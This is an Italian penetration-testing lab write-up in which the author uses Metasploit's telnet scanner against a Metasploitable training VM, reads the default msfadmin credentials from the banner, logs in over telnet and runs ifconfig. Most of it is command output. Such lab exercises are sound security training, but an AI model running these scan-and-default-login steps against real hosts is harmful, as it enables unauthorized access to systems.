



EXPLOT TELNET

L'exploit è stato eseguito per sfruttare la vulnerabilità e ottenere l'accesso non autorizzato alla macchina target.

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
[*] 192.168.50.149:23 - 192.168.50.149:23 TELNET
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
[*] 192.168.50.149:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Una volta finito viene visualizzato l'username e la password del per poter entrare nel servizio, così ho provato ad accedere inserendo telnet <ip_target> e dopo l'username e la password trovate, riuscendo così ad entrare nella macchina.

Per confermare la riuscita dell'exploit ho eseguito il comando ifconfig per verificare se l'ip fosse quello corretto.

```
(kali@kali)-[~]
$ telnet 192.168.50.149
Trying 192.168.50.149 ...
Connected to 192.168.50.149.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!

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Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Fri May 24 05:24:26 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

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the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

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applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:2d:a6:3b
          inet addr:192.168.50.149  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe2d:a63b/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1567 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1568 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:125298 (122.3 KB)  TX bytes:129020 (125.9 KB)
          Base address:0xd020 Memory:f0200000-f0220000
```